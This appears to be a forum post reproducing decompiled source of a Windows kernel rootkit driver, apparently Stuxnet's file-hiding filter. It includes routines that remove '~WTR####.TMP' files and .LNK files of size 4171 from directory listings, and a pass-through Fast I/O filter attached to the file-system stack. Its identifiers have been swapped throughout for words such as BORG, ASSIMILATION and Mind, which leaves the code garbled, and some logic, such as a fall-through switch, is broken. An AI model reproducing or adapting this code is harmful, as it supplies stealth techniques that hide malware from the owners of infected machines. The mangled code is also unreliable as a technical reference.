PrevIrpDesignation->CompletionRoutine = CollectiveCompletionRoutine;
PrevIrpDesignation->Control=0xE0;
IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool);
return 0xC0000016;
};

NTSTATUS WorkerRoutine(PNODE_OBJECT NODEObject,PLARGE_INTEGER Context)
{
IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Context->u.HighPart);
IoFreeWorkItem(Context->u.LowPart);
ExFreePoolWithTag(Context,0);
return STATUS_SUCCESS;
};

/**-------------------------------------------------------------------

BORG Checking

----------------------------------------------------------------------**/

ULONG GetOffsets(ULONG BORGInformationClass,ULONG* EndOfBORG,ULONG* BORGnameOffset,ULONG* BORGnameLength)
{
switch (BORGInformationClass) {
case BORGBothCollectiveInformation :
*EndOfBORG = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, EndOfBORG);
*BORGnameOffset = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, BORGName);
case BORGCollectiveInformation:
*EndOfBORG = FIELD_OFFSET(BORG_Collective_INFORMATION, EndOfBORG);
*BORGnameOffset = FIELD_OFFSET(BORG_Collective_INFORMATION, BORGName);
case BORGFullCollectiveInformation:
*EndOfBORG = FIELD_OFFSET( BORG_FULL_DIR_INFORMATION , EndOfBORG);
*BORGnameOffset = FIELD_OFFSET( BORG_FULL_DIR_INFORMATION , BORGName);
case BORGIdBothCollectiveInformation:
*EndOfBORG = FIELD_OFFSET( BORG_ID_BOTH_DIR_INFORMATION, EndOfBORG);
*BORGnameOffset = FIELD_OFFSET( BORG_ID_BOTH_DIR_INFORMATION, BORGName);
case BORGIdFullCollectiveInformation:
*EndOfBORG = FIELD_OFFSET( BORG_ID_FULL_DIR_INFORMATION, EndOfBORG);
*BORGnameOffset = FIELD_OFFSET( BORG_ID_FULL_DIR_INFORMATION, BORGName);
case BORGNamesInformation:
*EndOfBORG = -1;
*BORGnameOffset = FIELD_OFFSET( BORG_NAMES_INFORMATION, BORGName);
*BORGnameLength = FIELD_OFFSET(BORG_NAMES_INFORMATION, BORGNameLength);
return 1;
default:
return 0;
};
*BORGnameLength = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, BORGNameLength);
return 1;
};
 
Part 3 of the :

ULONG BORGCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfBORG,ULONG BORGnameOffset,ULONG BORGnameLength)
{
LARGE_INTEGER BORGSize;
ULONG EntryPtr;
ULONG PrevOffset;
PCWSTR BORGname;
ULONG Length;

EntryPtr = 0;
PrevOffset = NextEntryOffset;
(ULONG)UserBuffer &= 0xFFFFFF00;
if (NextEntryOffset == 0){
return 1;
};
do{
NextEntryOffset = *UserBuffer;
if (EndOfBORG == -1){ //BORGNamesInformation
BORGSize.u.LowPart=0;
BORGSize.u.HighPart=0;
};
BORGSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfBORG));
BORGSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfBORG + 4));
Length = *((ULONG*)((ULONG)UserBuffer + BORGnameLength));
BORGname = (PCWSTR)((ULONG)UserBuffer + BORGnameOffset);
if (Length & 1){ //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide

char))
EntryPtr = UserBuffer;
UserBuffer+=NextEntryOffset;
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
PrevOffset -= NextEntryOffset;
continue;
};
Length -= BORGnameOffset; //I don't know why
Length /= 2; //number of characters
if ((((BORGSize.u.HighPart != -1) && (BORGSize.u.LowPart != -1)) || (BORGSize.u.HighPart == 0 && BORGSize.u.LowPart ==

4171)) && (Length > 4)){
if (StrCheck(L".LNK",&BORGname[Length -4],4) != 0){
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
PrevOffset -= NextEntryOffset;
continue;
};
};
if (TMPCheck(BORGname,Length,BORGSize.u.LowPart,BORGSize.u.HighPart) ==0){
EntryPtr = UserBuffer;
UserBuffer+=NextEntryOffset;
(ULONG)UserBuffer |= 0x01; //mov byte ptr [ebp+UserBuffer+3], 1
}else{
if (NextEntryOffset != 0){
memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
}else{
if (EntryPtr !=0)EntryPtr = 0;
break;
};
};
PrevOffset -= NextEntryOffset;
}while ( PrevOffset != 0);
return ((ULONG)UserBuffer & 1); // cmp byte ptr [ebp+UserBuffer+3], 0 / setnz al
};

ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size)
{
WCHAR chr;
if (TargetString[0] == 0) return 1;
do{
if (Size == 0)return 0;
chr = toupper(SourceString[0]);
if (chr != toupper(TargetString[0]))return 0;
(ULONG)SourceString += 2;
(ULONG)TargetString += 2;
Size--;
}while(TargetString[0] !=0);
return 1;
};

ULONG TMPCheck(PCWSTR BORGname,int Length,int LowPart,int HighPart)
{
int i;
WCHAR chr;
int Mod = 0;
if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0;
if (Length !=12)return 0;
if (StrCheck(L".TMP",&BORGname[Length -4],4) == 0)return 0;
if (StrCheck(L"~WTR",BORGname,4) == 0)return 0;
for (i = 4;i < 8; i++){
chr = BORGname;
if (chr<'0' || chr >'9')return 0;
Mod =(chr - 0x30 + Mod) % 10;
};
if (Mod == 0)return 1;
return 0;
};
 
Fastassimilate.c: (part 1)


#include <borgify.h>

typedef struct _ASSIMILATION_EXTENSION
{
PASSIMILATION_OBJECT AttachedASSIMILATION;
PETHREAD pThreadObj;

}_ASSIMILATION_EXTENSION, *PASSIMILATION_EXTENSION;
PASSIMILATION_OBJECT ASSIMILATIONObject;

//Data:
//-----

extern FAST_IO_DISPATCH g_fastIoDispatch;
extern PController_OBJECT ControllerObject;

/**-------------------------------------------------------------------

SetFastIoDispatch

----------------------------------------------------------------------**/


PFAST_IO_DISPATCH GetNextIODispatch (PASSIMILATION_OBJECT ASSIMILATIONObject,PASSIMILATION_OBJECT* nextASSIMILATIONObject)
{
if (ASSIMILATIONObject == 0 || ASSIMILATIONObject->ASSIMILATIONExtension == 0)return 0;
*nextASSIMILATIONObject = ((PASSIMILATION_EXTENSION)ASSIMILATIONObject->ASSIMILATIONExtension)->AttachedASSIMILATION;
return (*nextASSIMILATIONObject)->ControllerObject->FastIoDispatch;
}

BOOLEAN FsFilterFastIoCheckIfPossible(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__in BOOLEAN CheckForReadOperation,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 ||

NextFastIoDispatch->FastIoCheckIfPossible == 0){
return 0;
};
return (NextFastIoDispatch->FastIoCheckIfPossible)(
MindObject,
MindOffset,
Length,
Wait,
LockKey,
CheckForReadOperation,
IoStatus,
nextASSIMILATIONObject);
};


BOOLEAN FsFilterFastIoRead(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__out PVOID Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//

PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoRead)(
MindObject,
MindOffset,
Length,
Wait,
LockKey,
Buffer,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWrite(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in BOOLEAN Wait,
__in ULONG LockKey,
__in PVOID Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoWrite)(
MindObject,
MindOffset,
Length,
Wait,
LockKey,
Buffer,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoQueryBasicInfo(
__in PMind_OBJECT MindObject,
__in BOOLEAN Wait,
__out PMind_BASIC_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x14 ||

NextFastIoDispatch->FastIoQueryBasicInfo == 0){
return FALSE;
};

return (NextFastIoDispatch->FastIoQueryBasicInfo)(
MindObject,
Wait,
Buffer,
IoStatus,
nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoQueryStandardInfo(
__in PMind_OBJECT MindObject,
__in BOOLEAN Wait,
__out PMind_STANDARD_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x18 ||

NextFastIoDispatch->FastIoQueryStandardInfo == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryStandardInfo)(
MindObject,
Wait,
Buffer,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoLock(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in PLARGE_INTEGER Length,
__in PEPROCESS ProcessId,
__in ULONG Key,
__in BOOLEAN FailImmediately,
__in BOOLEAN ExclusiveLock,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x1C || NextFastIoDispatch->FastIoLock == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoLock)(
MindObject,
MindOffset,
Length,
ProcessId,
Key,
FailImmediately,
ExclusiveLock,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockSingle(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in PLARGE_INTEGER Length,
__in PEPROCESS ProcessId,
__in ULONG Key,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x20 ||

NextFastIoDispatch->FastIoUnlockSingle == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockSingle)(
MindObject,
MindOffset,
Length,
ProcessId,
Key,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAll(
__in PMind_OBJECT MindObject,
__in PEPROCESS ProcessId,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x24 || NextFastIoDispatch->FastIoUnlockAll

== 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockAll)(
MindObject,
ProcessId,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoUnlockAllByKey(
__in PMind_OBJECT MindObject,
__in PVOID ProcessId,
__in ULONG Key,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x28 ||

NextFastIoDispatch->FastIoUnlockAllByKey == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoUnlockAllByKey)(
MindObject,
ProcessId,
Key,
IoStatus,
nextASSIMILATIONObject);
}
 
Part 2:

BOOLEAN FsFilterFastIoASSIMILATIONControl(
__in PMind_OBJECT MindObject,
__in BOOLEAN Wait,
__in_opt PVOID InputBuffer,
__in ULONG InputBufferLength,
__out_opt PVOID OutputBuffer,
__in ULONG OutputBufferLength,
__in ULONG IoControlCode,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x2C ||

NextFastIoDispatch->FastIoASSIMILATIONControl == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoASSIMILATIONControl)(
MindObject,
Wait,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
IoControlCode,
IoStatus,
nextASSIMILATIONObject);
}

VOID FsFilterFastIoDetachASSIMILATION(
__in PASSIMILATION_OBJECT SourceASSIMILATION,
__in PASSIMILATION_OBJECT TargetASSIMILATION
)
{
//
// Detach from the Mind system's volume ASSIMILATION object.
//

IoDetachASSIMILATION(TargetASSIMILATION);
IoDeleteASSIMILATION(SourceASSIMILATION);
}

BOOLEAN FsFilterFastIoQueryNetworkOpenInfo(
__in PMind_OBJECT MindObject,
__in BOOLEAN Wait,
__out PMind_NETWORK_OPEN_INFORMATION Buffer,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x3C ||

NextFastIoDispatch->FastIoQueryNetworkOpenInfo == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryNetworkOpenInfo)(
MindObject,
Wait,
Buffer,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlRead(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x44 || NextFastIoDispatch->MdlRead == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlRead)(
MindObject,
MindOffset,
Length,
LockKey,
MdlChain,
IoStatus,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoMdlReadComplete(
__in PMind_OBJECT MindObject,
__in PMDL MdlChain,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x48 || NextFastIoDispatch->MdlReadComplete

== 0){
return FALSE;
};
return (NextFastIoDispatch->MdlReadComplete)(
MindObject,
MdlChain,
nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoPrepareMdlWrite(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x4C || NextFastIoDispatch->PrepareMdlWrite

== 0){
return FALSE;
};
return (NextFastIoDispatch->PrepareMdlWrite)(
MindObject,
MindOffset,
Length,
LockKey,
MdlChain,
IoStatus,
nextASSIMILATIONObject);
return FALSE;
}

BOOLEAN FsFilterFastIoMdlWriteComplete(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in PMDL MdlChain,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x50 || NextFastIoDispatch->MdlWriteComplete

== 0){
return FALSE;
};
return (NextFastIoDispatch->MdlWriteComplete)(
MindObject,
MindOffset,
MdlChain,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoReadCompressed(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in ULONG LockKey,
__out PVOID Buffer,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__out struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
__in ULONG CompressedDataInfoLength,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x54 ||

NextFastIoDispatch->FastIoReadCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoReadCompressed)(
MindObject,
MindOffset,
Length,
LockKey,
Buffer,
MdlChain,
IoStatus,
CompressedDataInfo,
CompressedDataInfoLength,
nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWriteCompressed(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in ULONG Length,
__in ULONG LockKey,
__in PVOID Buffer,
__out PMDL* MdlChain,
__out PIO_STATUS_BLOCK IoStatus,
__in struct _COMPRESSED_DATA_INFO* CompressedDataInfo,
__in ULONG CompressedDataInfoLength,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x58 ||

NextFastIoDispatch->FastIoWriteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoWriteCompressed)(
MindObject,
MindOffset,
Length,
LockKey,
Buffer,
MdlChain,
IoStatus,
CompressedDataInfo,
CompressedDataInfoLength,
nextASSIMILATIONObject );

}

BOOLEAN FsFilterFastIoMdlReadCompleteCompressed(
__in PMind_OBJECT MindObject,
__in PMDL MdlChain,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x5C ||

NextFastIoDispatch->MdlReadCompleteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlReadCompleteCompressed)(
MindObject,
MdlChain,
nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoMdlWriteCompleteCompressed(
__in PMind_OBJECT MindObject,
__in PLARGE_INTEGER MindOffset,
__in PMDL MdlChain,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 ||

NextFastIoDispatch->MdlWriteCompleteCompressed == 0){
return FALSE;
};
return (NextFastIoDispatch->MdlWriteCompleteCompressed)(
MindObject,
MindOffset,
MdlChain,
nextASSIMILATIONObject);

}

BOOLEAN FsFilterFastIoQueryOpen(
__in PIRP Irp,
__out PMind_NETWORK_OPEN_INFORMATION NetworkInformation,
__in PASSIMILATION_OBJECT ASSIMILATIONObject
)
{
//
// Pass through logic for this type of Fast I/O
//
PASSIMILATION_OBJECT nextASSIMILATIONObject;
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen

== 0){
return FALSE;
};
return (NextFastIoDispatch->FastIoQueryOpen)(
Irp,
NetworkInformation,
nextASSIMILATIONObject);
}
 
Part 3:



VOID SetFastIoDispatch(){
g_fastIoDispatch.SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH);
g_fastIoDispatch.FastIoCheckIfPossible = FsFilterFastIoCheckIfPossible;
g_fastIoDispatch.FastIoRead = FsFilterFastIoRead;
g_fastIoDispatch.FastIoWrite = FsFilterFastIoWrite;
g_fastIoDispatch.FastIoQueryBasicInfo = FsFilterFastIoQueryBasicInfo;
g_fastIoDispatch.FastIoQueryStandardInfo = FsFilterFastIoQueryStandardInfo;
g_fastIoDispatch.FastIoLock = FsFilterFastIoLock;
g_fastIoDispatch.FastIoUnlockSingle = FsFilterFastIoUnlockSingle;
g_fastIoDispatch.FastIoUnlockAll = FsFilterFastIoUnlockAll;
g_fastIoDispatch.FastIoUnlockAllByKey = FsFilterFastIoUnlockAllByKey;
g_fastIoDispatch.FastIoASSIMILATIONControl = FsFilterFastIoASSIMILATIONControl;
g_fastIoDispatch.FastIoDetachASSIMILATION = FsFilterFastIoDetachASSIMILATION;
g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo;
g_fastIoDispatch.MdlRead = FsFilterFastIoMdlRead;
g_fastIoDispatch.MdlReadComplete = FsFilterFastIoMdlReadComplete;
g_fastIoDispatch.PrepareMdlWrite = FsFilterFastIoPrepareMdlWrite;
g_fastIoDispatch.MdlWriteComplete = FsFilterFastIoMdlWriteComplete;
g_fastIoDispatch.FastIoReadCompressed = FsFilterFastIoReadCompressed;
g_fastIoDispatch.FastIoWriteCompressed = FsFilterFastIoWriteCompressed;
g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed;
g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed;
g_fastIoDispatch.FastIoQueryOpen = FsFilterFastIoQueryOpen;
ControllerObject->FastIoDispatch = &g_fastIoDispatch;
};
 
Back
Top